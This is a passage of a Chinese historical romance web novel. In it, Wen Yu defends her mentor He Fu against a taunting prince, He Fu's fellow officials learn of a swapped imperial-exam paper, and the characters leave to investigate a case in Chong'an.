说起启蛰,葛巾噗嗤笑出声,“他啊,四肢发达但是头脑简单,什么文学策论简直是听不进去一点,大人带他去听了两堂课每次都是被丞相拿竹藤抽醒的!”
单凭借葛巾这一说温余似乎就已经能想象到启蛰被藤条抽的样子的,她也笑得眉眼弯弯,“真是可惜了,那般有趣的场景我竟看不到。”
似乎是觉得自己过于失礼,葛巾缓缓收起了笑,但眉眼间的笑意却未来得及收敛,“不必觉得可惜,待我回去就把那场面画下来,让你好好瞧瞧。”
温余立刻应和道:“好,那我可就要仰仗葛巾姐姐的画技了!”说罢,还拉过她的胳膊往上蹭了蹭,像只展现亲昵的小兽一般。
“那我可就要献丑咯?”葛巾用手拍拍她的脑袋,触感颇佳的发顶竟是让她有些爱不释手,她又胡乱揉了几把后清了清嗓子,道,“不过你也是很幸运的,大人这可是第一次做教书先生呢!不知他教得可好?”
这些日子贺扶和温余出双入对的,日日都窝在玉茗堂,哪怕是深夜也能见着温余在屋里挑灯苦读,看着着实是辛苦得紧。
温余信然道:“当然是极好的,比我见过的所有教书先生都要好!”
虽然她并未上过学堂,但是她心中确定,这世上没有那位先生会比贺扶更好了,那般耐心、那般有学识。
“那我可要考考你了。”葛巾狡黠一笑,随后问道,“治国与法度,何解?”
温余没想到还有突然考察这一出,抵着脑袋想了半晌后才缓缓道:“背法度而心治兮,辟与此其无异。”
“出自何处?”葛巾继续问,温余也立刻答了出来,“屈子的《九章》,可对?”
葛巾笑了,点着头赞赏道:“对,看来有认真在学,比启蛰那小子好多了。”
得了夸奖,温余眉眼更弯了,似新月又似柳叶,着实可爱,惹得葛巾伸出手来轻轻捏了捏她的右颊。
——
与此同时的茶馆内,一缕细烟带着茶香缓缓升起,将那玉面扭曲了一瞬,随后一只削葱般骨节分明的手将茶壶提起。
清淡的茶汤顺着壶嘴下泄,在那只白瓷茶杯中泛起一阵涟漪,一圈又一圈,最后在杯壁处消失。
贺扶将那被刚刚煮好的茶放在宋拿云面前,后者只是轻轻点头,算是道谢。
敬完茶,贺扶将手放在双膝上,看看沉着脸的章执又看看冷着脸的宋拿云,暗暗叹了一声,还是认命开口打破寂静:“师兄可是有话要对霁尘君说?”
章执冷冷瞥了他一眼,随后便将目光移向窗外的街景,此时已经再次摩肩接踵了。
“哼。”
哼?
贺扶面上的笑有些挂不住了,他知自己这位师兄放不下面子,但未想过能这般傲娇。
他又转向正拿起茶杯浅啜的宋拿云,问道:“霁尘君可有话要与师兄说?”
宋拿云将茶杯放下,轻轻摇了摇头,没有出声。
贺扶脸上的笑变得有些勉强,他深吸一口气后轻声道:“我忽然想起府中还有些事情,那我便先走了,师兄与霁尘君慢聊。”
说罢他正要起身却受到了章执投来的目光。
他无奈再次坐下,耐着性子又问一遍:“师兄若是有话可直说。”
章执这才看向宋拿云,见对面那人一袭素袍清瘦,微微蹙眉:“你外出就不准备些好些的衣服?府中没有给你钱吗?”
此话一出,贺扶心中暗道不妙。
宋拿云面色不变,只是淡淡道:
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“繁琐。”
章执的眉蹙得更深,他正要开口却被贺扶截下,“霁尘君所言甚是,师兄不如差人为霁尘君多制些简洁的素衣,也方便霁尘君四处行走。”
“穿一身白四处走给府上丢人吗?堂堂首辅夫人,整日缟素,不知的还以为是在守寡呢。”章执似乎听不出贺扶话语中的解围,只是按着自己的想法说。
果然惹得宋拿云面上更冷,她道:“我倒是想守寡。”
“你!”章执刚刚拿起的茶杯未曾碰到唇边就被狠狠摔下,他提起一口气来却又对上宋拿云冷然的目光竟是一时不知该向何处撒气。
他对这个女人简直是仁至义尽了!日日由着她在外头跑,还这般对自己说话,若不是念在年少情意,他早就……
“那干脆和离罢了。”
“求之不得。”
见两人间再次燃起战火,贺扶当真是劝说无能。他本想着二人许久未见可以借此来缓和一下二人之间的关系,没想到竟是更冷了。
既如此,倒不如直接说正事:“霁尘君此次回来可是有和要事?”
宋拿云闭了闭眼,再睁开时便又是一派淡然:“我此次回京是为了一个人。”
“何人?”章执问。
“安成的一位书生,姓周,他在前些日子自缢而亡。”
当时宋拿云正在安成街边义诊,忽闻远处嘈杂便暂时搁置了手下患了风寒的老妇人前去查看,一去便是发现那位姓周的书生自缢,已经是没了呼吸,回天无力。
又因为那书生家里穷困又无父无母只他一人,宋拿云于心不忍就自掏腰包将他好生安葬,但就在为他整理遗物时在他家中发现了近百张文章。
白纸黑字,字迹工整,应当是写作之人花了大功夫所写。
但奇怪的是那近百张文章都是同一篇,而且仔细一瞧竟是让她觉得十分眼熟。
那文章她看过,是三年前殿试时脱颖而出的那位状元所作的应试文章。他为何要抄那个?是为了学习?可又为何要抄那么多遍?
宋拿云心中疑惑,就在附近打听了一圈,发现那人竟是位会元,那为何会这般落魄呢?
怀着疑虑。她逐级向上打听,最后竟是发现一桩大案。
三年前的那场殿试,有人与相关官员应和,换了卷子。
所以,当年那位风光的状元郎,如今的刑部侍郎,是偷了旁人的考卷,顶替了旁人的人生。
他如今风光无限,而被他换了人生的那人却死在萧索的破屋内,着实可怜、可恨、可恶。
宋拿云将她所见所得尽数相告,章执眉头皱成川字,“那就是说,现在的那位刑部侍郎勾结官员,欺君罔上?”
“嗯。”宋拿云点头。
“安成?那可会与安成王有关?”贺扶最是惜才,听闻此事也不由惋惜。
作为安成王的属地,发生这样李代桃僵的事情,那姓周的书生不可能会安心沉寂,那当地的王室也不可能会一无所知。
唯一的可能就是,那位安成王也与此事有关。
36. 弄情(六)
“所以霁尘君此番前来就是为了查清此事?”贺扶眉眼间带着淡淡的惆怅。三年前那状元应试的文章他也曾有幸看过,所写所思都是极佳,既能结合当下政事又颇具文采,着实是篇佳作,他当时还想过,若是让他去作这篇文章怕是也要思虑许久。
是以,在那状元入朝为官后他还心生向往,想要结识一番这般贤才,可后来并未寻着机会。也未曾想再次听到他有关的消息竟是这样的丑闻。
章执暗暗叹了一声,沉声道:“等我回朝便去处理此事,相互勾结,欺君罔上,岂能任由他潇洒?”
“只是可惜,那位真正作了这样文章的贤才却……”贺扶没有说下去,他闭了闭眼,只能感叹世事无常。不多时,他又再次睁开眼,道,“安成王那边师兄打算如何行事?”
章执端起茶杯,杯中水波晃荡,他冷声道:“有错,便该罚。不过你接下来还有事要做,现在就不必过多插手了。”
贺扶收敛眉色,微微颔首:“明白。”
此事牵扯重大,从地方府衙到司考的朝臣,再到圣上亲信的安成王,若是一朝不慎出了差错那可就是掉脑袋的事情啊!说不好还会带着全族一起为此付出代价。而章执作为当朝首辅,在陛下面前得宠,自然能放心的查探此事。
虽贺扶也为陛下宠爱,但再怎么说那要被状告的是当朝刑部侍郎,乃是刑部尚书亲点的接班人,贺扶又是大理寺卿,三司之中本就和刑部有所嫌隙,若是在这个关头插手了此事,那不由使旁人多想。
所以章执所说无错,此事他不该参与,也不能参与。
—
与绍王府大不相同,大理寺中虽也是一派沉寂,但却是多了一派肃穆的。四处都有侍卫巡逻查看,五步十步便能碰上一对排列整齐的侍卫队。由于得了贺扶应允,温余在此处走得格外顺畅。
她一路来到韩犹息夫妇居住的西院,推开门只见宋连娇正捏着一块糕点往嘴里送。
“韩夫人。”温余问好。
宋连娇站起身虚虚护着肚子,脸上带着和善的笑:“温小姐,您怎么来了?”
温余提起手中的食盒在她面前晃了晃,道:“我家大人听说您再次食不下咽,猜想是京城的饭食不合您心意,所以派人做了崇安的饭食给您送来。”
宋连娇一瞬惊讶,随后热情地招呼温余坐下。
食盒内不仅有特色的菜品还有些崇安小吃什么的,一摆在桌上就飘起一阵香气,令人垂涎欲滴。
宋连娇拿了筷子对温余道:“温小姐吃了吗?不妨一块儿?”
温余摇了摇头,拒绝道:“不用了,这是贺大人专门为您和韩先生准备的,诶……”温余这才发现,在屋内看了一圈儿后问她,“韩先生呢?”
“方才我胃里难受得紧,夫君便去为我煮粥了,正巧遇上温小姐带了饭过来,这家乡的味道倒是让我不那么难受了。”宋连娇笑得温和,眉目间流露出一种温余未曾见过的温柔。
她轻轻抚了抚肚子,道:“可是要多谢温小姐和贺大人能让我家孩儿吃到家乡菜了。”
虽是寻常母亲都会有的神色却是让温余有些看愣了。她不由猜测起自己母亲怀着自己时的神色是否也和宋连娇一般,温柔、慈爱?还是对即将飞上枝头的期许?
若是她早知生的是个姑娘,她又可会觉得亏本?可会先一步将孩子给堕了?
一想起这些温余心中就不免涌上一丝苦涩,她小心翼翼地问宋连娇:“韩夫人是想要为公子还是想要位小姐?”
宋连娇却是皱着眉头思索了片刻才开口:“都好,时位小公子呢,便让夫君教他经商温书,若是位小姑娘呢,我便教她刺绣女工,都是极好的。”
“无论男女都是我与夫君的孩子,断没有哪个更好的道理。”
“确实,都好!”听宋连娇这般答,温余笑得点头。
无论是公子小姐,若是能生于韩家夫妇家中,自然是极其幸福的。念此她也不由为这位即将到来的孩童开心。
见温余盯着自己的肚子出神,宋连娇放下了筷子,侧了身子对她道:“温小姐可是想摸一摸?”
温余受宠若惊地指了指自己:“我?可以吗?不会有什么……”
“当然不会,来和我家孩子打个招呼?”
宋连娇眉眼弯弯,引着温余的手往她微微隆起的小腹上摸。温余只触到了一丝柔软和温热,虽与寻常人的小腹无异,但她却感到些奇妙来。
就是这一层薄薄的皮肤下竟是有一条鲜活的生命的。
“怎么样?摸到了吗?”宋连娇眨眨眼。
温余虽未曾摸到什么东西,但还是点了点头,却惹得宋连娇噗嗤一笑:“不过一月,能摸到些什么?温小姐倒也不必这般捧场的!”
温余面上有些微红,她收回手下意识将腕上的珠串转了几转,道:“虽没摸到什么,但这感觉很奇妙。”
“确实奇妙。”宋连娇点头赞同,又道,“若是我生出个像温小姐这般可人的小姑娘那就更奇妙了。”
突如其来的夸赞打的温余措手不及,她轻轻咳一声,道:“这倒也不必……”
宋连娇又欲开口,门却被人从外面推开,正是端着一碗热粥的韩犹息,他见温余在此微微诧异一瞬后便笑着问好。等温余回应后他便将粥端到宋连娇面前,一勺一勺翻着,看样子应该是特地凉过了的。
“来,夫人。”
他将盛满粥的瓷勺横在宋连娇唇前,宋连娇却有些羞赧,她道:“先不吃了。”
温余回过神来时便觉得自己打扰了人家小夫妻,立马站起身来告辞。
走到门口却听韩犹息又叫了她一声,她应声转头后见韩犹息面露严肃道:“红楼一事,劳烦温小姐与贺大人了。”
温余摆摆手,道:“无事,应该的!”
关上门走了几步,屋内夫妇二人谈笑打趣的话语还是颇为清晰。温余轻轻叹了一口气后继续往外走,准备去堂中等葛巾。
一到大理寺葛巾便去了后院处理些杂事。想她那般手脚麻利头脑清晰的人果真在哪里都是能派上大用处的。<
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温余坐在堂中的太师椅上越过高高的围墙去看远处绵延的山,思绪从方才的韩犹息夫妇飞到了山间的鸟雀。
不知看了多久她耳边忽然传出一声轻笑来,她诧异回头却正巧对上一双盛满笑意的眸子。
来人一身明黄劲装,架起一条腿坐在堂中的高案上,黑靴上的金丝祥云纹大喇喇的摆着,着实扎眼。他眉眼张扬恣意,正歪头看着温余,不知在此处坐了多久。
不是尚卿又是谁?
温余猛得从椅子上弹起来,眼中带上防备:“你为何在此?!”
她可还记得这厮上一次给自己找的麻烦,这次她可是长了个心眼,万万不能和这人有所交集!
尚卿从桌案上跃下,明黄的衣摆如同一只翻飞的蝶。他带着笑意逼近,不由让温余想起自己第一次见他时的样子。
最终他停在距温余还有五步远的地方,倒是让温余有些惊讶的。
“怕什么?我又不是圣阳,不会拿鞭子抽你的。”尚卿笑吟吟地道。
温余还是心有余悸,暗暗往后退了几步,“你到底要做什么?”
“不做什么,听你回来了,就想着来寻你寒暄一番,怎么不愿意?”尚卿鸠占鹊巢坐在温余方才坐着的太师椅上,架着腿一副大爷模样。
温余此时已退至堂中的朱红柱子旁,她靠着柱子,反问:“寒暄什么?我们又不熟!”
“不熟?!”尚卿双目微睁竟是有几分委屈的意思,“听温小姐回来我这般欣喜,当下便丢了事务前来探视,没想到只值这一句‘不熟’?”
“我好伤心啊!”
温余也不知道这人葫芦里卖的什么药,“那你看完了,可以走了。”
“你在赶我走?!”尚卿又委屈了几分,“我更伤心了。”
温余也没心思与他玩这文字游戏了,“你到底要做什么?上次耍我还不够吗?”
若不是他,自己怎么会这么快和圣阳结仇啊!
尚卿翻脸如翻书,上一瞬还是一副委屈巴巴的样子,下一刻便带了笑。他站起身走到温余身边,亲昵地揽住她的肩头,使得温余一阵惶恐,想要推开他却被他紧紧按住,“没耍你,就是想和你交个朋友而已。”
“谁要和你交朋友了?!”温余又用了力,但还是没有将他推开,见他又变了脸色,立刻把手收回。
这人可是学了变脸的技术?她从未见过一个人的脸色能这般多变!
“怎么?对我师兄殷勤得很,对我竟是连朋友都不愿做?”尚卿眯了眯眼,带着威胁道,“我就这般不如他?连你这般未在宫中待上多久的人都要喜他胜过我?”
“我是嘉亲王,我舅母是当今皇后,你要知道贺扶他在厉害都不过是一个臣子,而我可是皇室之人,若是当真斗起来,定是我赢。”
“你可要想清楚了。”
温余一阵发寒,她先前只觉这人只是爱比较些,但今日听他这般说辞,倒是想将贺扶贬入尘泥的意思。
贺扶有这样的师弟,当真是可怕至极!
37. 弄情(七)
“所以,为了你日后的安危,我劝你离他远一点。”尚卿的目光变得有些病态,温余下意识地缩了一缩。
这皇宫里都是些什么人啊!一个圣阳整天爱抽人鞭子,一个尚卿整天盯着自己师兄做比较,一个赛一个的奇怪。
这倒是让她对被这俩人轮番骚扰的贺扶肃然起敬。
他简直就是脏污泥潭中的一股清流,一只遗世独立的雪莲,简直是好的不能再好了!
“怎么,怕了?”尚卿捻起温余的一缕头发,像是在捻死一只蚂蚁一样。
温余急忙将自己的那缕发丝扯回来。她怕这人一个不趁意就把她的头发给拔了,她可不想变秃头!
“怕了怕了,嘉亲王您就饶了小的吧!”
大姑娘能屈能伸,虽然她也想做个宁为玉碎不为瓦全的能者,但得是因为什么惊天动地的大事,而不是被这位莫名其妙的嘉亲王弄死在这里。
听到温余求饶,尚卿的心情骤然变好,放开捏着她发丝的手指,缓缓向她那边倾去:“那好。”
他眼中带着玩味,缓缓道:“那你就去告诉贺扶,说你不想再跟着他了,之后本王便允许你跟在本王身侧。”
这人是来挖墙脚的?温余眉梢不由抽了抽。
“这……”温余还是觉得应该先把他给打发了,其他的随后再说,大不了跟贺扶告状,难不成他还能硬抢人不成?
“我需得找个合适的时机才行,否则……”
没等她把话说完,尚卿便哈哈大笑两声,温余本在怨他打断人说话,着实没礼貌却又听他问:“那你就是要跟着我了?”
“…嗯,应当是的。”温余头点得极慢,只想把这人快些送走却未曾注意从外翩翩而来的那人。
尚卿顿时眉开眼笑,冲温余身后招了招手,炫耀似地道:“师兄可听到了,她要跟着我走了。”
温余被他这一声“师兄”一惊,立刻要转身却被尚卿一把揽进怀里,也顺势让她对上了负手站在门口的贺扶。
“您不是最不爱勉强人的吗?还不快些命人收拾东西将她送来我府上?”
尚卿这话说得暧昧,好像是官员间互赠美人一般,听得温余一阵恶寒。
贺扶自然也看得出温余面上的无奈与痛苦,低眉垂眼,声音还似寻常般清润,但却带上了些无法拒绝的强硬。
“若是我偏要勉强她呢?”
温余虽知晓这是贺扶为了帮自己解围所言,但仍心头一颤。
只觉得有什么东西正破土而出。
面前的男子身长玉立,虽着一身素袍却不失矜贵气质。似月柔和却不疏离,让人情不自禁想要靠近。
他眉宇间似乎永远都是一派清雅和善,竟是让人想不到他动怒时会是何种颜色。
人们总是将意料之外的东西称为惊喜,对于贺扶,温余心中自然也好奇他情绪剧烈时会是一种怎样的惊喜。
“哦?”尚卿眉梢一挑,显然是没想到自己那位柔情似水的好师兄还会有这样的一面,着实是惊到他了。
他啧啧两声后放开温余,温余也趁机溜得远了些,停在他伸手够不到的地方。
她带着戒备看着尚卿,却见他再没有动作,只是轻轻睨着贺扶,“没想到啊,我竟然有幸能看到师兄这样的一面,着实令人惊讶、诧异,好生想多叫些人来好好的看一看。”
温余听得出来,他的话语中带着嘲讽,好像已经迫不及待地想要撕开贺扶的假面一样。
将他拉下神坛。
“嘉亲王殿下!”温余一下窜到贺扶面前,“我知您对贺大人有怨,可这怨气也是因你自己而起,何必要事事都纠缠着他呢?”
“您既觉得贺大人压了您的风头大可去提升自己的能力,以在众人面前盖过他,这般胡搅蛮缠不但浪费了您自己的时间也让贺大人不好过。”
“我就是要让他不好过。”尚卿对于温余这番话不以为意,却是对她这忽然转变的勇气有了兴趣。
方才还怕得像一只鹌鹑,怎的自己将矛头对准了贺扶便敢和自己对着干了?
贺扶就这般值得让旁人护着?她也是,幸安也是。
他不明白,他也不想明白。
温余咬了咬唇,她也没想到尚卿能当着贺扶的面说得这般直截了当。但她转念一想,也是,无论他说什么贺扶都不会同他生气。
她微微侧目看了看身后的贺扶,他唇角仍带着笑,此刻竟是让温余有些害怕了。
因为他好像从来不会为旁人对自己的说法看法而动摇情绪。之前温余还觉得他这般遗世独立着实叫让敬佩,但此刻却觉得万分奇怪。
他究竟是真的不在意,还是说在意却又不表露呢?
贺扶做着口型,对她道:“先让开吧,我来说就好。”
少见的,温余没有听她的他的话。
她不让!
若是她让开了,还不知尚卿要如何说贺扶的不是,又不知贺扶得纵容他多少。
再怎么说他算得上自己的恩人,怎能让恩人在自己面前受人非议呢?
见温余仍然挡在自己面前,贺扶有些诧异,正欲开口劝说却又见她转了回去,直直对上尚卿带着笑意的脸。
“怎么,你要为你的这位贺大人讨个公道不成?”尚卿对面前这人是愈发感兴趣了,先前他只是因为这人是贺扶亲自从外头带回来的,好奇的同时就是与贺扶争抢东西的恶趣味,但今日她这么一闹,尚卿的好胜心就更强了。
他倒是要看看究竟得用什么办法才能让这人心甘情愿的离开贺扶。
“是,我就是要给贺大人讨个公道,而且不光是要讨公道还要挑你的错处!”温余掷地有声。反正也没什么转圜的余地了,如今在畏畏缩缩倒是显得她甘愿受人欺负了。
她温余可从来不是好欺负的!欺负她身边的人也不行!
“我的,错处?”尚卿收敛了眉色,从小到大,还没有什么人敢在他面前说他的不是,他倒是要看看这人能说出些什么来。
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“对。”温余信然道,“于贺大人来说,无论从年纪还是拜师先后,贺大人都是你的长辈,你这般对他说话,没有半点尊敬之意,简直是目无尊长。”
“于我来说,你既已知晓我投入贺大人麾下,还来挖墙脚,这便是无义!再说,你对我丝毫不设男女之防,轻浮无礼!简直桩桩件件都是错处!”
说完,温余暗暗吞了吞口水,猜想他可会因此生气?若是生气了自己日后又该如何做?之前还想着尽量不招惹旁人,不给贺扶添麻烦,如今却是将宫中两个最为难缠的给惹上了。虽这两人的行事作风她看不惯,若是换做以前她定是要好好作弄一番的,可现在自己背后的是贺扶,自己的一举一动都牵连着贺扶,这倒是让她有些拘束,不知如何是好。
咽不下这口气,但又怕真的惹毛了他们,拖累了贺扶。
她略为紧张地盯着尚卿的脸色,正思考着稍后要如何向贺扶道歉,却见他竟然突然笑了,笑得莫名其妙,笑得着实奇怪。
“这目无尊长的错我自然是认了,不过这第二点,我就有些说辞了。”尚卿越过温余那单薄的身子去看贺扶,“据说你同你这位贺大人这些日子可是出双入对,跟得很紧呢,这宫中之人可是颇有说法呢。”
尚卿这话说得暧昧,好像她和贺扶是什么无媒苟合之辈一般。至于他说的“宫中之人”大抵就是圣阳了,毕竟除过她也没人会这般关注贺扶的一举一动了。
温余顿了顿,也不排除他为了抓住贺扶错处派人视奸的可能。
“渡凌。”趁着温余思考的片刻,贺扶缓缓走到她身前,面上严肃,“你我之事只关你我便可,莫要那姑娘家的清誉说事。”
尚卿抱起双臂,似乎是抓到了什么重要的东西一般,他继续道:“你与其责我拿姑娘家的清誉说事,倒不如反省反省自己,自己不顾男女之间的差别,要和人家未出阁的姑娘独处一室。应当是你毁了人家的清誉。”
不得不说,尚卿对于如何戳到贺扶的痛处十分擅长,他知贺扶最爱为旁人着想,就独独拿贺扶与旁人之间的问题说是。这也确实是将贺扶问住了。
他确信自己心思清白,但却是不知旁人的想法。若是旁人当真因此对温余生了别的意思,那可就是自己害了她了。
“我又不在乎!”
温余忽得从他背后伸出头来,“清誉这种东西又不能当饭吃!再说了,旁人怎么想就让他想,若是因为单单的猜想就对旁人遐想不停,那肯定也不是什么好人了!这样的人你将真相摆在他面前他都不会相信,与其为了这种人的想法而变了自己的意思,那便是可笑呢!哈哈哈!”
她脆生生笑了几句,像是孩子气的证明一般扯住贺扶的胳膊,靠得近了些,“大不了,我就不嫁人了!就这样一直跟着贺大人,跟一辈子。”
“贺大人,你肯定也不会赶我走的,对吧?”温余看向贺扶,一双黑眸明亮如星,亦像是贺扶之前从幸安处得的那颗黑曜石——好看得紧。
38. 弄情(末)
贺扶竟是多了一瞬间的愣神,面前这人笑意盈盈,明亮的双眸中没有任何其他神色,只是干净的期待与一丝想要堵上尚卿嘴的神气,仿佛只要自己说一个“不会”就能瞬时翘起尾巴一般。这般神色,他好像许久都未曾看过了。
他本想这回答“不会”,但转念一想又将这两个字压了下去。这两个字太重了,至少是对他而言太重了。他知这世上没有不散的宴席,他自然也是见过许多人因为他人的一字一句就搭上一辈子的情形,更别说自己身后本就有一个巨大的威胁,时刻都盯着他,盯着他身边的人。
他无法保证如果真的到了儿时那般情形,他会放心地带着身边人一同与之争斗。他早已想好了启蛰和葛巾的后路,但竟是还没有寻到温余日后的去处,今日被她这般一问倒是提醒了他,这件事情,要快些着手了。
看着贺扶的眼神逐渐深沉下来,温余脸上的期待又多添了几分焦急,“贺大人您不会当真会赶我走吧?!”
贺扶转眼看了一旁抱臂的尚卿,思虑再三后道:“若非生死攸关,我绝不会赶阿蓁走的。”
说罢,他向温余投去一个安抚的眼神。
得了应答温余也是松了口气,虽说他未将话头说满但至少也是表明了他不会轻易赶自己走的意思,温余的底气自然也是足了起来。她冲着尚卿扬扬头,像一只高傲的小孔雀。
尚卿目光在贺扶和温余身上来回看了几圈,似乎是知晓了贺扶这话中之意,心中升起一丝嘲讽和不屑来,而后说出一句在温余听来不明不白的话来:“你还真是处处为他人着想啊!”
贺扶垂眸,他在想若是将温余托付在尚卿那处可算得上好归宿,可又看温余对尚卿着带着敌意的模样还有尚卿这颇为令人担忧的性格不免有些迟疑。
温余往贺扶身前移了移,仿佛护犊子一般用小小的身子遮住贺扶,她对上尚卿戏谑的眼,哼声道:“那是自然,我家大人待人真诚,不像你,没有可信的部下还来别处挖墙脚。”
尚卿沉了脸色盯了温余半晌,就当温余认为他被自己惹毛了要给自己一掌的时候他却忽得又笑开了。哈哈笑了两声后他伸出了手向温余的脸袭去。
没等温余反应就感到自己的脸颊被用力往外扯了扯。
尚卿竟然在捏她的脸!
“话别说太满啊,说不准有一日你这位贺大人就心甘情愿将你送到我府上了呢!”
尚卿放开了手,绕过温余和贺扶向屋外走去,边走还边扬起手臂挥了挥,算是告辞。那背影挺拔端正,似赌桌上胸有成竹的大庄家,往下又脚步轻快,带着满满的少年意气。若是没有那磨人的性子在温余心中也排得上“俊秀美人”这一称号。
奈何……
“真是有病又自信。”温余揉着被掐红的脸颊嘟囔着。
“可是渡凌用力掐疼了。”贺扶眉眼间满是关切。
温余放下手将那泛着红晕的脸颊展现在贺扶眼前,她摇摇头:“还好,不算特别疼,但就是觉得不爽!”
贺扶微微俯身似乎是想要帮她揉一揉却又想起方才尚卿所说的话本打算伸出的手只能在暗处虚虚握了一握。随后,他轻轻笑了一声:“可是觉得渡凌捏了你的脸而你没有报复回去?”
不知怎的,温余竟是注意到了贺扶那细微的动作,干脆直接抓起他的手就往脸上放。迎上对方诧异的神色,她嬉笑道:“有一些,不过贺大人帮我揉一揉就好了!”
贺扶想要将手抽离,却又被她用力握住,轻轻一动便触到了一指柔软,那是少女稚嫩温热的脸颊,似羊脂玉一般的触感,让他一时不知如何是好。
是动还是不动?
纠结之下,他微微叹气:“方才渡凌说的你也是听到了,日后可要注意些举止,若是坏了你的清誉那可就是我的罪过了。”
温余却是不服气,她反驳道:“若是我日后要嫁的人是个仅因为所谓‘清誉’二字就斤斤计较的人,那我不嫁也罢!于我而言,若是要成亲定是要先为知音后为夫妻,自然不是以一具清白的身体为前提的。”
“再说了。”眼光流转间,她道,“我方才不是说了,不嫁人,一直跟着贺大人的吗?”
此时天色已晚,远处天际亮起几颗星子,仿若空荡棋盘中的芽白。温余跟在贺扶半步之外,听他声音无奈:“我又不能照顾你一辈子。”
“怎么不行啊!?”温余立刻出口却忽得反应了过来。她只说自己不嫁人但贺扶可未说过他不娶妻,若是日后他成婚了,自己定是不能这般跟着他的。
隔了半晌,温余都没有再说话,只是默默地踢着路上的小石子,走两步踢一次。小石子在与地面的触碰间发出咕噜噜的响声,清脆却不知为何带上了几分沉闷来。
贺扶本在顺路欣赏着路边的花草却听温余闷闷一声:“我知道了,我日后会注意与贺大人的距离的。”
虽说温余应了是好事,但贺扶却疑惑于她这带着闷意的声音,他转头看了看,只见她正低着头盯着脚下的地面,一张小脸更是因为愁苦皱在了一起。
“我并无要赶你走的意思,也不是疏远,只是想着莫要误了你……”贺扶为自己辩解着,也带着安慰温余的意思。
这个年纪最是容易多想,莫要因为自己的几句话就伤了她的心。
温余站定了,贺扶也跟着站了下来,负手而立面上却带了严肃,仿佛接下来要谈论什么要紧的大事。
“我当然知道您不会赶我走,但是我有一个颇为冒犯的问题。”温余深吸一口气,将自己的疑惑问出口,“您打算何时成亲?”
这一问,倒是让贺扶一时愣住,“我……还未想过成婚一事,一来无心上人二来我要做的事情还未做完。”
要做的事情?是指剑兰花纹组织?
温余吞了吞口水,说出了她此时想到的最为大逆不道的话:“那若是最后您查清楚了剑兰花纹的事情还没有心上人的话,要不要,娶我?”
“……”
肉眼可见的,在温余说完这句话后贺扶脸上出现了一段时间的空白,随后他轻轻呼出口气,面上又严肃了几分,道:“为何突然这样说?”
温余将方才心中所
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想尽数告知给贺扶,又在最后补充道:“我还想若是最后真要嫁人,那我只能想到贺大人这一个人选。”
贺扶听后缓缓露出个笑来,他似是无奈地摇头:“终身大事可莫要随意说,自然也不能随意选择。成亲并非唯一的出路,我只希望你日后想要成亲之时,是因为有了心仪之人,以至于此生非他不可,而非是迫不得已时的凑合。”
说出这句话时,贺扶心中生出几丝恍惚来。这句话曾是他的母亲说于他的,他记了许久,以至于自加冠以来幸安每一次催促他早日成家时都被他或拒绝或搪塞的送回去。拒绝的次数多了,幸安也失了兴致,不再言说此事。
温余对上贺扶认真的眸子,不由地将脊背挺直了些。
远处响起一阵梆子声,房檐上的灯笼随着风轻轻地摇晃着,地面上两个相对的影子也随着灯笼的摇晃变得扭曲。温余的神色也认真起来,她用力点了点头,方才的沉闷也在这一刻消散,脸上再次扬起笑,“好,多谢贺大人教导,阿蓁知晓了!”
翌日,前往崇安的马车已经停在了绍王府门前。
葛巾早早地就帮温余收拾好了包袱放在桌上等着温余。
温余穿了一身宋连娇常穿的芽白素娟衣裳,在外套了一件灰蓝的素娟褙子,配上小盘髻倒是真有几分少年人妻的意味。
她在铜镜前转了几转,观察着飞起的衣摆。她还从未穿过这样的衣裳呢!
葛巾一推门便看到她左转转右转转地看着自己,又听她亮着声音问自己:“如何?可有几分像韩夫人?”
葛巾上前将她定住,把晃晃悠悠的双臂安稳固定在身侧后往后退了几步,看了半晌才点了头:“这样就对了。只外边像可不行,举止也得有韩夫人的样子!”
温余装模作样地向葛巾行了个礼,放低了声音道:“是,妾身谨记。”
说罢,她却是忍不住笑了出来,“如此说话还真是奇怪,不过还好韩夫人怀有身孕没多少人知晓,否则可就更麻烦了!”
“好了好了,收拾好了就快些出发吧,马车可是已经停了半个时辰了!”
葛巾一边推着温余的后背一边催促着。二人一路来到府门前,只见马车停在门前的光照处,似乎是觉得晒了,那匹枣红的马正难耐的甩甩尾巴,还时不时抬抬蹄子。
车内人听到了外头的动静也掀开了帘子往温余这边看来,“既然来了那边快些上来吧。”
贺扶照着韩犹息的样子束了发,竟也是多了几分严肃。
温余应了声便小跑着上了马车,踏上车后她才注意到了车前的那位褐衣马夫,竟是有些熟悉的。
“启蛰?!”温余惊讶出声,后者却低低“切”了一声,不耐烦道:“还不快点进去!晒死了。”
可贺扶不是说他不去的吗?温余张了张口却又对上了启蛰恨恨的脸,只好闭上嘴打算去问贺扶。
“您不是说不带启蛰的吗?”
贺扶无奈一笑:“本是这样想的,可昨晚他在我屋前坐了大半夜……”
温余暗暗咂舌:果真是烈女怕缠郎!
39. 红楼案(起)
崇安地处南方,青山绵延,绿水逶迤,盛产茶叶。幸安曾单单为寻茶一事来过这里,回到京城时还不时同贺扶夸赞此处的风景人文。
好山好水,好风好茶,这也令贺扶生了向往之意,也曾想过寻个时间来此游玩,可未曾想过他第一次来此竟是为了办这桩疑案。
但当他越过草木抬眼去看那座亭亭玉立的山峰时,原本因为办案而生出的严肃之意也消散了不少。
山水之乐,果真能让人忘忧。
马车摇晃,路边的鸟鸣也此起彼伏,熏香之下温余也是昏昏欲睡,为了缓解睡意她只好将头伸出窗外去看路边的景色。
入眼便是一大片接着一大片的深绿色,只是看着便生出些潮湿之感。她不由想若是自己能化作鸟儿,定要飞上高空俯瞰这一片绿色,还要绕着远处的山峰打个几转。
“诶?那里可是寺庙?”温余眼尖的在远处的最高峰上看到一座建筑。
贺扶凑上前去看,只见亭亭高峰上正立着一座如鸟儿展翼的建筑。他微微一笑,向温余解释:“那是道观,名为红叶观。”
“红叶观?就是前朝太子修行的那座观?”温余曾听说过这个故事,据说那位太子是个爱民如子的贤士,无论是当时的帝王还是朝中大臣都希望他能成为帝王,奈何他既不好王权也不喜美色,只一心修道。帝王盛宠,自然也就是随他去了。
但为了改善太子起居,便特意在这山上建了这座道观,因年年秋日都有红枫盛开,便由那位太子取名为“红叶观”。
“不知我们办完事情后能否前去那边看一看?”温余似是疑问,但也带着些委婉的恳求。
那般名胜,她若是不去看看可就浪费这次外出的时间了。
反正也不着急。
“好,正巧我也从未去过。”贺扶笑得温和,一双桃花般的眸中,神色却是旁人都模仿不来的。
